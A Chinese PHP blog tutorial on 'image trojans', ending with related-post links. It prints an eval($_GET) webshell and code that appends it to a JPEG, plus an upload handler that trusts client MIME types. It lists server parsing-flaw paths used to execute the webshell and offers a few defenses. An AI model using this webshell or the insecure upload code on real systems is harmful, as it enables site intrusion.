php 图片木马,php图片木马实现原理
什么是木马
木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。
那,php的木马是长什么样的呢?我们来看下面这段代码:<?php
@eval($_GET['tioncico']);
这句话的意思是什么呢?只要在网页上获取到了$_GET['tioncico']的数据,就当成php代码直接执行,例如:
这个网页内容,我们忽略问号前面的数据,可看到tioncico=echo tioncico;%20是urlencode编码转换
图片木马原理
在本文中,讲到的是图片木马上传,那么该怎么制作图片木马呢?
我们首先要讲到,php上传文件的原理:
1:用户提交post请求,上传文件
2:服务器接收请求,将文件存储到临时文件
3:php解析该临时文件,获得文件类型,文件大小
4:php通过判断文件类型,进行移动临时文件到上传目录
5:php给前端返回上传成功,并返回地址
在第3步,php是如果解析临时文件的呢?
其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9
通过读取文件的字节并转为16进制,即可知道该文件类型是什么:function fileToHex($file){
if(file_exists($file)){
$data = file_get_contents($file);
return bin2hex($data);
}
return '';
}
echo fileToHex('F:\www\test\a\1.jpg.txt');
这个函数为简单实现,复杂需求需要自行查看:
输出:
很明显,这个图片格式为jpeg
php在底层中已经实现了对图片格式的识别,所以无需我们额外实现,关于文件类型头部的定义,可查看:
那么问题来了,如果我没改变文件头,然后在最后新增一串php代码,php是怎么识别类型的呢?
我们可以尝试下,在图片文件后面,额外写入一个php文件:$path = 'F:\www\test\a\1.jpg.txt';
file_put_contents($path,file_get_contents('./a/1.php'),FILE_APPEND);//1.php是一个木马文件
直接通过txt形式打开,可看到新增的数据
将1.jpg图片直接打开,可发现文件没有损坏:
通过上传文件,发现php识别的也是jpeg:
'
php解析木马原理
大家看以下代码,忽略php实现的东西,只看结构:html>
Document上传文件:
if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
//获取数组里面的值
$name=$upfile["name"];//上传文件的文件名
$type=$upfile["type"];//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
//判断是否为图片
switch($type){
case 'image/pjpeg':$okType=true;
break;
case 'image/jpeg':$okType=true;
break;
case 'image/gif':$okType=true;
break;
case 'image/png':$okType=true;
break;
}
if($okType){
/**
*0:文件上传成功
*1:超过了文件大小,在php.ini文件中设置
*2:超过了文件的大小MAX_FILE_SIZE选项指定的值
*3:文件只有部分被上传
*4:没有文件被上传
*5:上传文件大小为0
*/
$error=$upfile["error"];
echo "=======================
";
echo "上传文件名称是:".$name."
";
echo "上传文件类型是:".$type."
";
echo "上传文件大小是:".$size."
";
echo "上传后系统返回的值是:".$error."
";
echo "上传文件的临时存放路径是:".$tmp_name."
";
echo "开始移动上传文件
";
//判断up文件夹是否存在,不存在则创建
$dir='up/';
if(!is_dir($dir)){
mkdir($dir);
}
//把上传的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'up/'.$name);
$destination="up/".$name;
echo "=======================
";
echo "上传信息:
";
if($error==0){
echo "文件上传成功啦!";
echo "
图片预览
";
echo "
echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">";
}else if($error==1){
echo "超过了文件的大小,在php.ini文件中设置";
}else if($error==2){
echo "超过了文件的大小MAX_FILE_SIZE选项中设置";
}else if($error==3){
echo "文件只有部分被上传";
}else if($error==4){
echo "文件没有被上传";
}else{
echo "上传文件大小为0";
}
}else{
echo "请上传jpg,gif,png等格式的图片";
}
}
?>
这代码很平常,也就是php+html标签的混合型代码,php会解析<?php ?>标签,进行获取并执行php标签内的代码
现在将这份代码换成图片+php标签:
改后缀为php看看能不能执行成功:
很明显,正常运行了,php将<?php标签外的字符当成了正常字符输出 ,只运行了php的部分.
运行图片文件
到现在,我们已经学会了如何给图片增加木马文件,并了解了图片木马的实现原理,那么,现在该如何在别人的网站执行这个木马呢?给图片改后缀?很明显我们办不到,那该怎么办呢?
我们需要借助漏洞才能执行(这就意味着木马并不是万能的,可以入侵别人的全部网站)
漏洞方法如下
include 漏洞
只要对方的php代码中存在 include xxxx ,这个xxxx可以传入外部参数的时候,
例如有些开发者自己实现的框架中,include controller 这个controller 有做全路径引入的时候
web服务器的pathinfo漏洞
IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpgIIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.phpNginx <8.03 空字节代码执行漏洞 1.jpg%00.phpApache 解析漏洞 .php.一个无效后缀还有就是 Windows 下的各种截断了,因为 win 环境下不允许一些符号命名文件,所以可以造成截断文件名的效果,
例如本人使用phpstudy nginx/1.11.5+php7.2.10成功复现:
讲解一下,我网站中存在a/test.jpg,通过访问test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,并且被php调度执行成功,通过get传的tioncico=echo%20%27仙士可牛逼!%27; 参数,在php中解析成功,输出了 仙士可牛逼!
其他漏洞可以自测哦
漏洞防范
1:升级web服务器版本,尽量使用新版本
2:图片最好是存入oss,或者图片上传目录注意不要给执行权限(web服务器执行图片目录的权限)
3:图片可以的话,可以进行二次处理,把木马文件过滤掉
4:永远不要相信用户的输入
其他
刚刚的eval函数木马文件,是不是觉得很简单,很容易识别?
并且,eval函数,可能还是被php禁用的危险函数.那么我们可以用什么呢?
另外提一嘴,既然是可以执行php文件了,完全可以在图片文件中,include 另一个图片文件,等等
本文为仙士可原创文章,转载无需和我联系,但请注明来自仙士可博客www.php20.cn
php 图片木马,php图片木马实现原理相关推荐
- 木马制作——图片木马制作
木马制作--图片木马制作 一.简单说明 图片木马指的是图片格式的文件木马,图片格式包括jpg,png等,原理是将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗透中 ...
- 记一次对DZ的渗透.(一句话木马与图片,文件上传解析漏洞)
一.举例:St0rs Team 指剑碎星河分享 前言0X01 某日某帅正在使用着啊D 入侵百度的时候, 突然某位好友发来一条消息. "滴滴上车" 打开消息一看,说是要某帅帮忙日一个 ...
- 入狱小技巧之木马制作——图片木马制作
0x01 图片木马制作 0x02 简单说明 图片木马指的是图片格式的文件木马,图片格式包括jpg,png等,原理是将木马程序和图片捆绑在一起,达到伪装的目的,程序可以是脚本语言或者编译语言,在web渗 ...
- 如何防止木马性图片上传
如何防止木马性图片上传 这个代码我检验过没有问题,可以阻挡木马性图片的上传 <% '******************************************************* ...
- python实现键盘记录木马_Python告诉你木马程序的键盘记录原理
前言 Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用.Python之所以用起来方便快捷,主要归功于这 ...
- 如何利用百度图片搜索进行引流?原理是怎样的?
究竟百度图片搜索如何运作?其实它的运作原理与搜索引擎很类似,一样会经过以下三个步骤: 爬取 Crawling 索引 Indexing 排序 Ranking 百度图片蜘蛛会先去爬取网络上各个网站的图片, ...
- 实现仿知乎的开场动画,图片zoomin的效果,实现原理,没加动效
知乎等应用的开场动画是:全屏显示一副图像,并以图像的中间为原点,实现放大(也就是zoomin)的动画,让等待的过程不再单调乏味. 最近不是很忙,因此想了下如何实现这种效果,方案是:采用调整imagev ...
- 彩色图片转手绘线稿的原理简述与Python实现
大家好,我是小小明,在学习 好友叶庭云 介绍的一门中国大学MOOC的课程中,学到手绘图像,下面我测试并总结一下. 课程链接是:https://www.icourse163.org/course/BIT ...
- PNG图片压缩无损,但解析原理呢?
点击上方"IT平头哥联盟",选择"置顶或者星标" 一起进步- 作者:腾讯新闻@airuikun 背景 今天凌晨一点,突然有个人加我的qq,一看竟然是十年前被我删 ...
- OpenCV resize 改变图片大小,4种方式原理对比
微信:18233275213 本文共总结了OpenCV提供的4种resize图片的方法: 一.最近邻插值法 INTER_NEAREST 二.双线性插值(默认设置) INTER_LINEAR 一.最近邻 ...
最新文章
- LinkedList集合
- 关于 Orbeon form PE 版本使用 JavaScript Embedding API 的一个例子
- eclipse 代码上传github 笔记
- MySQL截取SUBSTRING
- 好评度很高的通用基础库,代码写的不错!
- 思维导图的使用场合有哪些?怎么画思维导图
- 2022年基站行业研究报告
- html遮罩层动画制作,《Flash遮罩层动画的制作》的教学反思
- 计算机课软件有哪些,电脑录课有哪些软件?
- 【网络】4G、5G频段汇总
- 北京林业大学计算机考研录取分数线,北京林业大学信息学院计算机技术(专业学位)专业考研招生人数 考研报录比 考研复试分数线 考研辅导.pdf...
- 禾瑞亚USB接口电阻触摸屏控制卡QNX 6.5 RTOS操作系统x86架构驱动安装与配置方法
- bigbrother的补充单节点hdfs搭建好后搭建mapredce
- 手机QQ协议抓包教程
- 计算机游戏锁怎么打开,电脑玩游戏锁帧怎么办
- html5可视化编辑器教程,html5可视化编辑器sx html5 vip使用教程(附vip账号)
- 基于.Net平台C#的微信网页版API
- 常用估值方法的编程实现(1):自由现金流折现
- windows下使用批处理命令快速关闭显示器 锁屏代码 BAT代码分享
- 微信公众号开发之自动回复
热门文章
- ajax直接调用数据库数据库数据库,AJAX调用mysql数据库简单例子(示例代码)
- phpnow mysql_phpnow重新安装mysql数据库的方法
- FS2711代替松翰2711国产单片机
- Web语音播报提示音
- 【python初级】os.listdir返回目录中包含的文件以及文件夹的列表
- 初探信息科学中“三个世界”模型
- Flink在流处理上的Source和sink操作、Flink--sink到kafka
- Unity Kinect添加自定义姿势识别
- 影子内存(Shadow RAM)介绍_4
- SpringBoot个人学习